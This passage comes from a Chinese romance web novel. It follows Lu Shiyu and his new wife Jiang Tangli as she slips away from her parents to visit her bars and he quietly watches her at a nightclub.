老爷子目光在他脸上停了两秒才收回,“你们年轻人的感情,我这个老头子可不想多问,只不过梨梨那丫头年纪小,说话做事都由着性子,即便有什么不周全的,你也别和她太较真,你比她年长几岁,多让让她。” 这话听着 陆时聿蹙眉:“她跑您面前告状了?” 但是这几天,也不见这爷孙俩有什么相处的时间。 老爷子睨他一眼:“你要是做的好,她能告出些什么?” 听出来了。 老爷子这是一大早诈他话来了。 不过老爷子倒没揪着这件事,他话题一转:“龙湖的并购重组做的不错,我以为你会直接采取控股合并的方式,没想到你会用设立全资子公司来吸收他们的主业资产和债权债务。” 陆时聿说:“直接控股合并虽然利落方便,但强制换股的味太重,而且难保有个别股不办理换股手续。” “虽然绕了一圈,但没有后顾之忧。”老爷子步调悠闲,想了想,突然笑出一身爽朗:“主要打了他们一个措手不及,不错不错。” 老爷子看他一眼:“难怪董事会那几个难缠的老家伙都跑我跟前来夸你。” 说完,老爷子又突然一沉眉:“你可不许把商场上的那些手段用在梨梨身上啊。” 陆时聿:“” 陪老爷子在园里溜达了一会儿,王管家找过来:“陆老,您可让我好找。” “看你说的,我还能跑丢了不成,”老爷子瞧他那气喘吁吁的架势,笑了声:“你没事也多锻炼锻炼,这才多远一点路就喘成这样?” 王管家擦汗:“我这是急的。” 余光见陆时聿低头看时间,老爷子朝他挥了挥手:“有事你就忙你的,不用管我。” 陆时聿的确还有一点公司必须要回公司一趟,“九点钟,司机会送您去机场,到时我就不过来了。” 看出他公事缠身,老爷子又于心不忍:“你这边若是抽不开身,梨梨跟我一块回去就行了,等你这边有时间再去接她。” 时间对于陆时聿来说,都是抽出来的。 他笑了笑:“不会,这次回去也有公事。” 老爷子突然想起来:“是樊羊路与青海路那块地?” 陆时聿点头:“改造项目,月中就要开工了。” “行,那你快去忙吧,梨梨这边——” 不等老爷子说完,陆时聿时间仓促地打断了他:“梨梨您就别管了,她跟我走。” 王管家的视线和老爷子一样,追着他的背影。 “陆老,感觉少爷比以前更忙了。” “忙了好啊!” 老爷子看着满园苍翠的景,奈何眼底却抓不住一处鲜活的生动,他叹气:“要是人丁兴旺就更好了!” 王管家知道他老人家心里的期盼:“少爷和少奶奶的感情这么好,估计要不了多久——” 结果却被老爷子一本正经地打断:“这种失礼的话以后不许说,俩孩子连婚礼都还没办呢!” 王管家:“” 老爷子说个既开放却也守旧的人:“要是在这方面出了什么岔子,咱们陆家说不好就要落人口舌了。” 说到这,老爷子的袖子被王管家拽了拽,“陆老。” 老爷子顺着他定睛的方向看过去—— 江棠梨手虽然被陆时聿拽着,但她懒得不愿走:“走不动~” 陆时聿被她眯眼的表情惹笑:“牙也刷了脸也洗了,还没醒困?” 江棠梨把嘴一扁:“腿酸嘛!” 陆时聿:“” 江棠梨哭腔都漫出来了:“都怪你!” 这帽子扣得严严实实,想摘都摘不掉,陆时聿也没打算摘。 “不就一次吗?” 上一秒没精打采的人,听他这么说,气得脚一跺:“可你一次就好久!” 若不是周围没人,陆时聿怎么会站在光天化日之下和她讨论这种问题。 “那你怎么不让我停下来?” 问她好几次,她就是咬着唇不说,不说也就算了,从嗓子里漫出来的音,像小猫爪子似的,挠在人心上。 江棠梨嘴上不说话,心里却忍不住腹诽:让你停下万一被你认为我嘴硬怎么办! 见她扁嘴半天不吭声,陆时聿看了眼时间:“那沁江路还去吗?” 结果却见她两只胳膊一抬:“抱抱。” 陆时聿:“” 见他杵在原地不动,江棠梨原地蹦跶了一下:“抱抱~” 这种撒着娇的声音,陆时聿只在几岁大的孩子嘴里听过。 可怎么从她嘴里说出来,却丝毫不觉得违和呢? 重点是眉心卷着,鼻子囊着,肉嘟嘟的小嘴也噘着 陆时聿也不知道自己怎么就那么拿她没辙,走近她一步后,背身蹲下。 “不能背。” 陆时聿扭头看她,“为什么?” “都说了腿酸了。” 想到昨晚的姿势,陆时聿垂眸轻笑的同时,压膝起身,“那你想怎么抱?” “就,就昨晚,”江棠梨往他胳膊指了指:“昨晚那种抱。” “昨晚那种抱”回想间,陆时聿皱了下眉:“洗澡前还是洗澡后?” 江棠梨顿时脸一红:“当然是洗澡后了!” 陆时聿看着她那一秒红透了的脸颊,唇角陷出深深笑痕。 将人打横抱起时,十几米远的一株花石榴后,王管家唏嘘一声:“真没想到啊,少爷竟然也有这么一天。” 老爷子扭头看他一眼:“当初之远为了安岚下厨,你好像也说了这么一句话。” 王管家笑起来,眼尾的褶不比老爷子的少,“看来少爷是得了陆董的真传。” “但是梨梨这丫头,”老爷子话里露着几分意味深长:“和安岚可不一样。” 何止是不一样,光是这性子就够南辕北辙了。 王管家没有领会到老爷子话中深意,“少夫人还年轻,再过几年,说不准就会像太太一样沉稳下来。” 沉稳没什么不好。 但老爷子说:“过于沉稳就少了些乐趣。” “乐趣?” 老爷子眼底不仅没有浑浊,反而清亮,目光从远处收回后,他看向一脸茫然的王管家,含笑道:“你这把老骨头,已经不懂喽。” 王管家是真不懂,因为在他看来,娶妻要娶贤。 当然不是说少夫人不贤的意思,就是有点担心。 别的不说,就刚刚看到的一幕,哪是娶老婆呀,说些不该说的,像是养女儿。 不止王管家这么想。 陆时聿低头看着在他怀里似睡非睡的人:“江棠梨,你今年多大了?” 一听就没好话,但江棠梨困得不想去深想他的暗意,“二十四。” “应该除以二。” “哼,那你就乘以二。” 陆时聿轻笑一声:“那咱俩就相差48岁了,你觉得合适吗?” “那你就当养个闺女呗。” “闺女?”陆时聿话里有话:“若是闺女,那可就有门禁了。” 江棠梨突然睁开眼看他:“你要敢给我设门禁,我就跟你分房!” 陆时聿:“” 被她虎视眈眈地盯着看,陆时聿败下阵来,眼皮轻抬,看着路的同时,又轻巧岔开话题:“昨晚要是听了我的话,从后面,你今天也不至于腿酸。” 江棠梨突然来了精神似的,搂着他的脖子撑起几分背:“真的吗?” 陆时聿余光掠她一眼,没说话。 倒是江棠梨,眼睛转了两个来回,突然抬手,两只捏住他下巴把他的脸扳过来:“说,你在哪个女人身上得到的经验?” 万万没想到她脑回路竟然这么清奇。 陆时聿气笑一声:“姓江的女人!” “少来!”江棠梨手一甩,哼他一声:“从你吻技就能看出来你没少谈过女朋友!” 这帽子陆时聿可不愿戴,但他却不顺着她的话反驳:“但是你的吻技,”他故意停顿了一下:“真应该好好练练。” 人生所有的瘪都是在他这里吃的。 江棠梨眼里戳着把冰刀子:“你再说一遍?” 不过不等陆时聿开口,等在车边的陈敬就小跑过来:“太太这是怎么了?” 和他那双满是疑惑的眼神一对上,江棠梨顿时怂得脸红:“崴、崴到了。” 陆时聿忍着笑,朝陈敬递了个眼神:“去把车门打开。” 陈敬忙小跑回去,等两人上车,陈敬声音里还不减急色:“陆总,去哪个医院?” 陆时聿扭头看向旁边的人:“陆太太,要去医院吗?” 江棠梨剜了他一眼,眼神凶着,声音却软着:“崴到一点点而已,一会儿就好。” 陈敬却不敢大意:“还是去医院看一下吧,现在觉得没事,兴许一会儿要肿起来的。” “都说了不用了,”江棠梨故意跺脚给他看:“你看,一点都不疼。” “那你刚刚还非让我抱着?” 脸上的红刚消下去一点,又被他说得烫起来,江棠梨一巴掌甩他胳膊上:“你再说!” 陆时聿不逗她了:“去沁江路。” * 在今天之前,江棠梨还觉得这个即将步入夏的季节,绿色最为好看,可是当她看见那一圈蓝色的施工围挡时又突然觉得,再也没有比蓝色更美的颜色了。 走进去,看着两辆挖掘机的铲斗装满碎石料土,她突然笑了声:“你知道我小时候最喜欢什么吗?” 女孩子的小时候 陆时聿想了想:“洋娃娃?” 江棠梨朝他一囊鼻,“那是别的女孩子的小时候,不是我。” 见她视线又重新落到不远处的挖掘机方向,陆时聿懂了:“挖掘机?” 江棠梨笑着点头,“小时候觉得着东西可神奇了,怎么会有那么大的一个口袋,还会扭头,那时候我们家后面刚好有一个小区在施工,二哥没放学的时候我就蹲站在阳台看,等二哥放学了,我就会让他带我去里面看。有一年过生日,我还许愿自己能坐到挖掘机的铲斗里。” 陆时聿想起带她来海市的那天早上,在一个五斗柜上看到的一张照片,她穿着白底红点的小裙子站在挖掘机铲斗里,笑得两眼弯弯。 突然就很想问一问那只穿着红色肚兜,和她一起看海的萨摩耶,但好像不适合这个时候开口。 陆时聿抬手揉在她脑袋上:“喜欢海吗?” 早上的太阳很柔和,他迎着光站,整张脸都陷在金色的光线里,他是典型的浓颜,唇色是很健康的红,鼻梁高挺,有一双比很多女孩子还要精致的眼睛,这么凝眸看过来,像是一幅被精修过的静态海报。 让江棠梨突然想起他昨夜凶狠的进攻。 反差感那么强烈,可怎么就丝毫不违和不突兀呢? 甚至还有一种诱人深陷的痒感直击她最深的柔软。 江棠梨一时看呆了几秒,眼睫许久忘了眨,再一回神,竟觉得酸酸的。 默了好几秒才想起他刚刚问的问题。 “喜、喜欢,怎么了?”她表情茫然时,总会有一种娇憨的可爱。 陆时聿俯下肩,与她对视:“那婚纱照要不要去海边拍?” “海边?”短暂怔愣后,江棠梨眼睛陡然一亮:“真的吗?” 他点头:“当然。” “是旅拍吗?” 陆时聿低头看向被她揪在指间的袖口,他笑着摇头:“在家门口。” “家门口?”江棠梨被他前后两句话绕得云里雾里,“谁的家呀?” “还能是谁的家?”他轻笑一声后,牵住她手:“当然是我们的家。” 我们的家? 他们还有海边的房子? 江棠梨揪着这个问题把他问了一路,结果可好,一个字都没问出来。 一天到晚就会吊她的胃口。 到了机场,江棠梨抱着胳膊坐着不动:“今天你不说清楚我就不下车!” 威胁得毫无震慑力。 陆时聿绕过车位打开她那边的车门,手臂一圈就将她强行抱了出来。 江棠梨两手锤着他肩膀,“你放我下来!” “不放。” 两腿被他手臂圈紧并拢着,江棠梨连蹬腿的余地都没有,低头一看,发现他只用了一只胳膊。 这种只在偶像剧里才看到过的抱法竟然会这么真实地发生在自己身上。 从心底窜出的惊喜一点一点浮在她嘴角,哪还有心思再锤他、再挣扎。 感觉到用力压在自己肩膀上的手变成了圈抱。 陆时聿掀起眼皮看了她一眼。 脸红着,眼睫也垂着。 莫名其妙的羞让陆时聿心里闪过疑惑,不过他没有问,就这么把人抱上了飞机。 “爷爷还没到?” 陈敬忙掏出手机:“我来问问王管家。” 结果电话打过去—— “你跟时聿说,我们坐高铁回去了。” 陈敬愣了一下,“陆老,您稍等,陆总就在我身边。” 接过手机,听见老爷子改坐高铁的理由,陆时聿不可思议地皱眉:“油菜花?” 头顶传来一声笑,陆时聿抬头看过去。 江棠梨忙把唇一抿。 “知道了,那您注意安全。” 陈敬接过手机后,招手空乘一同离开了住客舱。 陆时聿抱着怀里的人站在沙发前,就这么仰头看她:“下来吗?” 江棠梨搂着他脖子的手没有丝毫要松开的迹象,“不下。” “那就这么抱着?” 江棠梨把脸一偏:“你说抱就抱,说放就放,你当我什嘛?” 能拖尾音就说明已经不生气了。 不生气就行,其他的对陆时聿来说都没什么所谓。 他说了声行,“那就这么抱着。” 江棠梨哪里能想那么多,一赌气:“抱就抱,谁怕谁!” 可是飞机起飞是要系安全带的,眼看空乘进来提醒,江棠梨红着脸锤在他肩上:“都说了放我下来了,你就是不听!” 所有责任被她推了个干干净净。 陆时聿失笑一声后,挥手让空乘离开。 以为他会跟自己算账,结果等到飞机平稳都不见他说一个字,想到晚上还要去酒吧,且不知道要忙到几点,江棠梨开始在心里盘算着她的小九九。 男人嘛,硬的肯定不吃,那就只能用软的。 “时聿~” “要去酒吧?” 江棠梨一愣,第一反应就是装傻:“什、什么酒吧?” 陆时聿现在是把她摸得透透的。 若不是有求于他,她根本不会用这样的调子喊她,再说,能让她有求于他的,除了酒吧也没有别的了。 “离开了一周,回去不用去酒吧看看?” 听这话的意思,好像并不反对,甚至还有点支持。 但不管他是什么态度,自己总归不能表现出来一点。 像是被他一提醒才突然想到似的,江棠梨一拍膝盖:“对哦,你不说,我都快忘了我还有两间酒吧呢!” 这演技,怕是平时没少看电影。 陆时聿笑得不动声色:“那你这个老板当得可就有点不称职了。” 从他话里,江棠梨再一次肯定了自己的猜测。 警觉心就这么松弛了几分。 “那不然我晚上去看看吧。”说到这儿,她又突然想起来似的:“你晚上是回爷爷那边住吗?” 终于说到正题了。 陆时聿随口似地应了句:“怎么了?” 江棠梨笑了笑,似乎就随口那么一说:“我就是问问。” 但是不等陆时聿开口,她又说:“我这趟回来主要不就是陪陪爸妈吗,就想着晚上多和他们说会儿话。” 倒不如说他的存在影响她晚归了。 陆时聿点了点头:“没事,正好我晚上也要回去看看父母。” 安全带一解,江棠梨搂着他脖子就坐到了他西装裤的腿上,“那我们今晚就各自多陪陪父母,明天我再去找你。” 陆时聿眉眼含笑地与她对视:“万一我晚上想你了呢?” 第43章 “如果我晚上想你了呢?” 笑含深意,尾音微扬。 让江棠梨本就心虚的心更加不安了,可话都说到这份了 悄悄往下平了几分的嘴角又突然一抬,江棠梨搂着他的脖子:“想我了就给我打电话。” “只能打电话?” 他的步步追问让江棠梨不得不使出「岳父」这枚杀手锏。 “主要咱俩还没办婚礼嘛,你晚上要是留宿,我怕我爸爸” 都把岳父搬出来压他一头了,他还能说什么呢? 陆时聿笑了笑:“我就是随口一说。” 飞机落地,陆时聿把江棠梨送到家,在江祈年的盛情挽留下,陆时聿在江家用了午饭。 饭后,江棠梨两只胳膊一伸,打了个哈欠。 周温乔目光停在她脸上,几分关切地问:“昨晚没睡好吗?” 江棠梨“唔”了声:“早上起得早了。” 但是回来的路上,她已经补了两个小时的觉。 可谁知她是不是变着法儿地赶他走呢。 陆时聿索性顺着她的意:“困了就上去睡会儿。” 说完,他也随之起身:“公司那边还有点公事,爸、妈,我就先走了。” 不等江祈年夫妇俩开口,江棠梨就挽着他胳膊,“那你路上开车慢点。” 迫不及待的都忘了是陈敬开车。 陆时聿点了点头,“回去吧,别送了。” 江棠梨却不听,硬是把他送到了门口,还亲自给他打开后座车门。 车门关上后,陆时聿落下车窗,“梨梨。” 哦对,忘记给他一个离别吻了。 隔着车窗,江棠梨亲在他额头,似乎觉得甜头不够,又在他鼻尖也亲了一下,可又怕他觉得敷衍,索性捧着他脸又在他唇上也“mua~”出一声响。 甚至在她后退一步给车子让行后,还用大拇指和食指比出一个「心」,还不忘说一句:“爱你哦。” 从认识到提亲到订婚再到领证,哪怕昨晚她快软成一滩水,都不曾从她口中听到过的,却在这个时候被她说出来。 说得那么随意、自然、从容,且不假思索。 可她是真的爱他,还是说,只是为了让他放松警惕、掉以轻心。 所有情绪都被陆时聿压在了眼睛深处,他朝车外的人笑了笑:“明天见。” 三个字,仿佛一颗定心丸。 接下来,就只剩爸妈这边了,只要成功逃脱,她今晚就可以夜不归宿了! 院门一关,江棠梨就迅速给方以柠发了条信息:“十分钟后打电话给我,什么都别问,只要配合我就行。” 短信发送后,她还不忘把方以柠的手机号改成了「时聿」二字。 回到客厅,见她往沙发里一躺,周温乔走过来:“上楼睡吧。” 江棠梨乖巧地摇头:“我陪你和爸爸说会儿话。” 江祈年随即坐到她另一边:“在那边住得怎么样,还习惯吗?” “都挺好的。” “陆时聿呢,对你怎么样?” “也挺好的。” 一连两个挺好,看似说明了所有,可又好像什么信息素都没传达出来。 江祈年换了个问法:“有没有受什么委屈?” 江棠梨“哎哟”他一声:“就你女儿这走到哪都不吃亏的性子,谁能给我委屈受啊!” 这回答倒是她的作风。 江祈年放下心来,但也不忘叮嘱:“你就记住一点,苦咱能吃,亏咱不能受,不管什么时候,我和你妈妈,还有你两个哥哥,永远都是站在你这边的。” 江棠梨把脸往他肩膀一靠:“我就知道爸爸最疼我了!” 就这一个闺女,疼肯定是疼的,但这一个星期里江祈年的担惊受怕可一点都不少。 “走之前跟你说的话,没忘吧?” 江棠梨:“” 见她不说话,江祈年肩膀一提,把江棠梨的脸给扬了起来:“忘了?” 江棠梨脑袋直摇:“怎么会!” “那你给我复述一遍。” 天呐,她哪有那么好的记性,虽然她复述不出来,但总结还是擅长的。 “不能去酒吧,不能——” “那你去了吗?” 被某人亲手逮回家的那次肯定不能说。 但是第二次 江棠梨点头:“去了。 “你这孩子——” “但是是他主动带我去的。” 江祈年皱眉:“时聿带你去的?” “对呀,”江棠梨脸上的无辜不加修饰:“是他好朋友开的酒吧,说是想见我,他就带我去见了呀。” 避免她蒙混过关,江祈年问:“叫什么?” 江棠梨不假思索地点名道姓:“楼昭,你认识吗?” “楼昭?”江祈年几乎只停顿了短瞬就对上了号:“楼安生物?” 那天回去后,江棠梨还真没跟陆时聿细问这个人,如今一听,她吃惊不小:“是那个国内最大的生物医疗公司?” 江祈年意外的点和她不一样:“不是说楼建翔的儿子是医学界的奇才吗,怎么还开起酒吧来了?” 江棠梨想起那双用“妖孽”一词形容都丝毫不为过的丹凤眼。 莫名就起了一层鸡皮疙瘩。 她实在不敢想,这样的人会在实验室里研究出什么医学成果来。 当然,这不是重点。 重点是:连医学界的奇才都开起了酒吧,谁还能说这是歪门邪道、不务正业的行业? 只是不等江棠梨拿这理由说事,就听—— “想来应该是实验室过于枯燥,开个酒吧来调剂平衡一下。” 人怎么能双标到这种地步? 江棠梨把自己哭笑不得的一张脸送到父亲眼前:“爸,他开的可不是一个小酒吧,是投资上亿,目前海市最火爆的酒吧,”她手指往上戳:“Top,到顶了。” “那又怎样,”江祈年不为所动:“最起码人家有主业。” 江棠梨:“” 敢情她要是有个主业,也可以光明正大地开酒吧了? 可惜她那点小心思被江祈年一眼看穿:“人家的主业可不是玩玩,也没有应付,那可是真真切切拿得出手的!” 得,刚挖出来的一条小路又被堵死了。 不过江棠梨算是听出来了,这条赛道,她永远都不能光明正大地站在上面。 不过没事,谁的梦想在实现的道路上都不可能一帆风顺的。 救星电话适时打来。 江棠梨把手机持平着,好让江祈年看清上面的名字。 “不是刚走吗?”自言自语一声后,江棠梨起身接通:“喂,时聿。” “没睡啊,怎么了?” “现在?”她回头看向江祈年。 “哦,”她皱眉迟疑了几秒后,点头:“那好吧,我现在过去找你。” 电话挂断,都不等江棠梨主动开口,江祈年就问了:“怎么了?” 江棠梨垂着脸,一副难为情的模样:“他说想我了~” 江祈年脸上一僵:“这不是刚分开吗?” 江棠梨噘嘴:“就是啊,天天见天天想,缠死人了~” 江祈年:“” 周温乔起身走过去:“感情好是好事啊,快去吧。” “真去啊?”江棠梨看了她一眼,又看了江祈年一眼:“我还想多陪陪你们呢。” “话说得好听,”江祈年瞥她一眼:“你刚刚不都答应人家了吗?” 江棠梨:“” 这话说的,她都没法往下接了。 好在周温乔在她手上拍了拍:“没事,你爸有我陪着,你去你的。” 江棠梨刚点头“哦”了声—— “晚饭回来吃吧?” 周温乔压眉朝江祈年看了眼,再回头,她牵着江棠梨的手往外走:“你这一下飞机就跑回了家,按理说是要先去看看他父母的,现在才下午,晚饭你自己酌情看,在他父母那边或者回来,都可以。” “嗯,那我晚上就在那边吃吧。” 两人还没走到门口,说话声自然又落到了江祈年耳朵里,“你俩还没有办婚礼,晚饭后就不要在那边留宿了。” “妈,”江棠梨急得抓住周温乔的手,“你看爸爸!” 在周温乔心里,江祈年不仅仅是一个老公,还是孩子的父亲,守护在身边这么多年的女儿,如今突然被人‘抢’了去,那种不舍、难过,甚至可以说焦虑,都是需要时间来过渡的。 周温乔轻搂她肩往外走,“刚刚爸爸说的也不是没有道理,如果晚上时聿父母没有强留你在那边过夜,你就尽可能回来。” 江棠梨抿了抿唇:“那如果他们把房间都准备好了呢?” 这种事,周温乔也不好替她拿主意:“你自己决定。” 既是自己拿主意,江棠梨心一横:“今晚我就在他那边住吧,明天我再回来,到时候我哪也不去,就在家陪你们!” 开着那辆停在车库许久没开的粉色大G出了小区,江棠梨就像是飞出笼的小鸟,按住语音:“宝贝,我出来了!出来了!” 方以柠不忘给她泼冷水:“一晚而已,看把你激动的。” 怎么能是一晚,每个星期她都会有这样的一晚! 不过激动归激动,江棠梨不忘正事:“不跟你说了,我得先去酒吧看看,晚点找你。” 她不在的这一周,都是关小飞打理着两间酒吧。 “可以啊,看这流水,的确比之前多了不少。” 关小飞说:“签了两个驻场,会员的入会标准也相对下调,所以客流量才多了起来。” 既然把酒吧交给他打理,江棠梨自然尊重他的决定,“上次你不是说想找几个当红博主做推荐吗,找到了吗?” “找到了一个,九百多万的粉丝,我打听了一下,点赞和引流大概能达到30:1。” 关小飞把手机放到她面前,“就是这个人。” 江棠梨翻看了几页,点了点头:“你把刘主管喊来,我们今晚就把促销活动定下来。” 这一忙就忙到了九点。 “要给您订一份晚餐吗?”关小飞问。 “不用,我约了人,你们先去吃吧。” 电话打给方以柠,“还在工作室吗?” 说完才注意到话筒那边的嘈杂。 方以柠堵住一只耳朵,对着话筒大喊:“忙完了?” 差点把江棠梨耳膜震出鸣音,“你在哪呢?” “我还能在哪,在楼下啊!” “啊?”江棠梨愣了一下忙起身:“你什么时候过来的?” 结果却听她答非所问,“忙着呢,再说。” 到了楼下,才知她在忙着和帅哥搭讪。 从家出来匆忙,江棠梨身上还是从海市穿来的那条浅紫色荷叶袖流苏连衣裙,自带仙气的一身,放眼酒吧,虽然乖巧到格格不入,却更吸引异性眼球。 刚一走到方以柠身边,聊得正欢的男人只一个眼神,眼珠子就栽她身上移不开了。 江棠梨最烦这种‘见一个爱一个’的男人。 “我好看吗?” 男人目光定在她脸上:“怎么能说是好看,简直是仙女下凡。” 这人该不会以为这种回答很受用吧? 江棠梨笑得一股子魅,可嘴巴却不留情:“可惜你这种长相,入不了仙女的眼。” 男人吃瘪,端着酒转身就走。 方以柠拿胳膊肘碰她一下后,故意沉下脸:“好不容易聊到一个——” “得了吧你,”江棠梨打断她:“又不是你的菜。” 方以柠撇嘴:“那可说不好,万一我口味变了呢?” “再变你也看不上那种货色,”江棠梨把胳膊往她肩膀一搭,“回头给你介绍一个靠谱的!” “得了吧你,世界上最靠谱的已经被你收入囊中了。” “怎么?”江棠梨歪头看她:“想挖墙脚啊?” “打住啊!”方以柠鄙视加警告:“男人好找,姐们可不好找!” 四月,小龙虾正当季。 两人去了酒吧斜对面的烧烤店。 “老板,十三香和麻辣的各来两斤,还有三十个羊肉串,一桶精酿。” “好嘞~” 穿如此仙气的裙子,脚上还是一双白色的平地玛丽珍,结果却一手烤串,一手啤酒。 方以柠拿着手机给她连拍九张,“我得把你的美照发到朋友圈,让大家看看你这陆家少奶奶回京后的第一餐吃的都是什么山珍海味。” 江棠梨瞥她一眼,“别忘了分组。” “放心放心,你家那位又不是我微信好友,”她把手机屏幕立到江棠梨面前:“看,三组危险人物都不可见。” 里面除了她自己的家庭成员还有江棠梨的一家人。 但是她忘了一件事,陈敬现在在她的好友列表里。 虽说陈敬鲜少会刷朋友圈,但是今天是他女儿的生日。 “爸爸,你看我的新裙子漂亮吗?” 视频里,女儿捏着裙摆跟他炫耀:“中午妈妈带我去爷爷家吃饭,给我拍了好多好多的照片,还发到了朋友圈,你看见了吗?” “还没有,一会儿爸爸就看。” 但是女儿很迫不及待:“那我挂了,你现在就看。” 结果点开朋友圈,还没看见女儿漂亮的小裙子就先看到了熟悉的人脸。 点开一看,是太太。 刚好陆时聿和刘董事从办公室出来。 陈敬拿着手机的手往下一落,往旁边站远了两步。 “方秘书,”陆时聿看向站在秘书办门口的方秘书,“送送刘董。” 再回身,陆时聿看向陈敬:“你不是说今天是玥玥生日吗,怎么还没走?” 顶头上司都忙到了现在,他一个秘书哪能因为女儿生日就离岗的道理。 “等您忙完,”说完,陈敬递出手里的车钥匙:“车已经停在车库了。” 陆时聿接过后,看着上面的字母「K」,“开起来感觉怎么样?” 要怎么说呢? 抛开驾驶体验不说,一路上不知吸引了多少双眼睛的注意,甚至还引来了交警查看他的驾驶证。 当然,这些,陈敬都没说,只是有些担心:“太太应该没有B照。” 这倒是提醒了陆时聿,他掏出手机,拨了过去。 眼看他眉心一点点皱起,陈敬忙说:“太太应该是和朋友吃饭,没听见。” 陆时聿刚抬眼看他,手机震出一条微信消息,点开,正是挂断他电话的人发来的。 「爸爸正在给我说人生道理呢,晚点给你回。」 人生道理? 陆时聿摁灭手机屏幕,抬头:“你怎么知道她在和朋友吃饭?” 陈敬忙把刚刚看到的那条朋友圈递到他面前:“是方小姐发的朋友圈。” 九张照片里,某人又是啤酒,又是烤串,又是小龙虾。 这人生道理倒是色香味俱全。 陆时聿看了眼时间,九点五十。 距离十一点还有一段时间。 倒也不急。 他的不急,倒是把江棠梨吓出了一声冷汗。 “你怎么不接?” 江棠梨把那烫手山芋一般的手机往旁边一撂,“后面那桌正在猜拳,我怎么接?” 接了不就露馅了? 方以柠叹气:“婚姻果然是枷锁!” “体会到我现在的处境了吧?” 瞧她那一脸的委屈,方以柠“嘁”她一声:“得了吧你,又是限量款包包,又是酒吧的,还能助你逃离老爸的五指山,我看你现在的处境挺好。” 有时候自己没有察觉到的,需要别人来归纳总结。 “你要是这么说,好像是还不错。” 但是她说的最后一条,江棠梨实在觉得差强人意。 她伸出自己还没有摘掉的一次性手套的两只手,“我现在就像是从这座五指山,跳到了这座五指山。” 方以柠顿时来了兴趣:“他管你也像叔叔管你管得那么严吗?” “唔”江棠梨想了想:“是不一样的严,就像是老师和家长,你知道那种区别吧?” 懂了。 一个是只管学习,一个是德智体美劳全面抓。 但是谁是老师谁是家长呢? 江棠梨咬下一块羊肉:“当然我爸是家长,他是老师了呀!” “所以你是说,他就只管你去酒吧,其他的都不管你?” 见她点头,方以柠觉得不可置信:“穿着方面,他也不管?” 说到这,江棠梨嘴角勾出沾沾自喜:“你别说,就我那些裙子,我爸看见估计都能把我给撕了,至于他” “他直接把裙子撕了?” 知道她在吐黄色泡泡,江棠梨心虚却不承认:“他敢!” 她拿「总之」二字快速结束话题:“总之我们家那位在穿衣方面,对我的容忍度还是挺高的。” “” 短暂的出乎意料后,方以柠发现一件事。 以前总是听她喊「姓陆的姓陆的」,如今可好,变成「我们家那位」了。 这其中的变化,怕是她自己都没有察觉到。 “嗳,”方以柠勾着脑袋问她:“你俩现在发展到哪一步了?” 江棠梨嗦着手指的动作一停,视线落到对面。 方以柠生怕她没听懂自己的暗指,“上床了吗?” 江棠梨顿时脸一红:“你瞎说什么呢!” 瞎说吗? 方以柠眼睛一眯:“那你发誓!” 江棠梨:“” 果然被她猜中了。 方以柠抿嘴笑的同时,眉梢一挑:“感觉不错吧?” 江棠梨喝酒不上脸,这会儿脸红到了锁骨:“你再说,我、我就——” 酒不能泼,铁签不能扔,索性捏了一个虾头砸过去。 结果被方以柠轻巧躲开。 眼看她笑得肩膀抖个不停,江棠梨恼得起身就走。 “嗳,你单还没买呢!” 等方以柠扫了二维码再追出去,人已经没影了。 诡谲迷离的灯光,嘈杂震耳的音乐,诱人下坠的红酒。 方以柠寻了好几圈才在拥挤的舞池里看见人。 要不是喝了一肚子的酒水,方以柠说什么也要去陪她跳一会儿。 转了几圈,发现卡座都满了,方以柠只能去了吧台。 好巧不巧的,又遇到了之前主动上来搭讪的男人。 “美女,你那个朋友是单身吗?” 还挺执着。 方以柠朝他勾了勾手指,男人把脸凑过去。 “你这一身的行头都不够她老公一顿饭钱。” 男人脸色一僵,拉开距离后,好笑一声:“你这一身的行头,怕是也不够你朋友手表的零头吧?” 方以柠脸上露出两分骄傲得意之色的同时,还有明晃晃的嘲讽:“但是我能抱我朋友的大腿,你能吗?” 就这么把对方气得磨牙又转身,方以柠扭头朝那人的背影“嘁”了声,视线收回来的时候,频闪灯将一张侧脸掠进她眼底。 可是灯光一晃,再回头去找,怎么都找不着人了。 方以柠皱了下眉。 是她的错觉吗? 怎么感觉刚刚看到的那个人有点像陆家那位呢? 不是像,就是陆家那位。 在她肩膀斜后方九点钟方向,陆时聿抱臂坐在卡座里,昏暗的灯光与闪烁的镭射交织在他脸上,他面无表情地看着舞池,跳跃的舞姿和摇摆的身影映在他眼底,可真正牵扯着他目光的却只有那一人。 强劲的节拍,好像让她摆脱掉了所有的束缚,每一寸肌肤都在畅快地呼吸。 陆时聿嘴角提了一下,昨晚在他面前转了几个圈就晕眩到站不住脚的人,今天倒好,高举着胳膊,边跳边转。 尽管她身上穿的那条连衣裙丝毫不露,可修身的布料却完美地勾勒出她凹凸有致的曲线。 像是被上天精雕细琢一般,每一处都刚刚好。 好到想把她私藏起来。 可是她却大方,恨不得将自己昭眼于天下。 面前酒杯里的深琥珀色酒液,他一口未动,原本四方形的冰块被融了锋利的边角,然而却没有磨平他眼角里的锋利。 直到江棠梨大汗淋漓地从舞池里下来。 陆时聿拿起酒杯旁的手机,冷白的光一闪,屏幕回到锁屏前的聊天界面。 那条进门前被他编辑好却没有发送的短信被他毫不犹豫地发了出去。 眼皮掀抬间,刚好捕捉到江棠梨看着手机的画面。 除了眼睫之外,江棠梨整个人像是被点了穴道一动不动。 方以柠勾头过去:“怎么啦?” “宝贝,睡了吗?”五个字被她带着笑音地念出来。 “可以啊,宝贝都喊上了,你们家那位挺会啊!” 江棠梨这才回了几分神,屏幕被她慌忙摁灭后,她端起手边的酒杯就喝了一大口。 烈酒,喝得猛,嗓子像是被灼到,呛出了几声咳。 方以柠递过去两张纸巾,“你不回啊?” 当然要回,但是不能回得这么快。 时间一分一秒过去,她在等,陆时聿也在等。 等了将近十分钟,眼看她拿起手机,陆时聿视线落到被他指尖无数次轻点而一直亮着的手机屏幕。 五秒、十秒、三十秒、一分钟 能被她编辑这么长时间的短信,以为会是有多么冗长,结果却只有短短一行字:「刚去洗澡了没看见,正准备睡呢。」 原来是想借口想了这么长时间。 陆时聿手指轻点:「有点想你。」 秒回的四个字,让江棠梨心窝一软。 指尖悬在屏幕上方好一会儿,却不知该往哪个字符上落。 这么骗他,是不是有点过分了? 可是谎话都说到这份上了,只能硬着头皮强撑。 短暂犹豫后,江棠梨回道:「明天不就能见到了吗?」 发送后,江棠梨在心里默念了两遍,似乎是觉得没什么甜度可言,她又补充了一句:「我也想你!」 陆时聿看着屏幕上又突然跳出的四个字,嘴角掀一味意味不明的笑,抬头看过去—— 明明他有轻度的近视,可却清楚看见被她咬在齿间的唇肉。 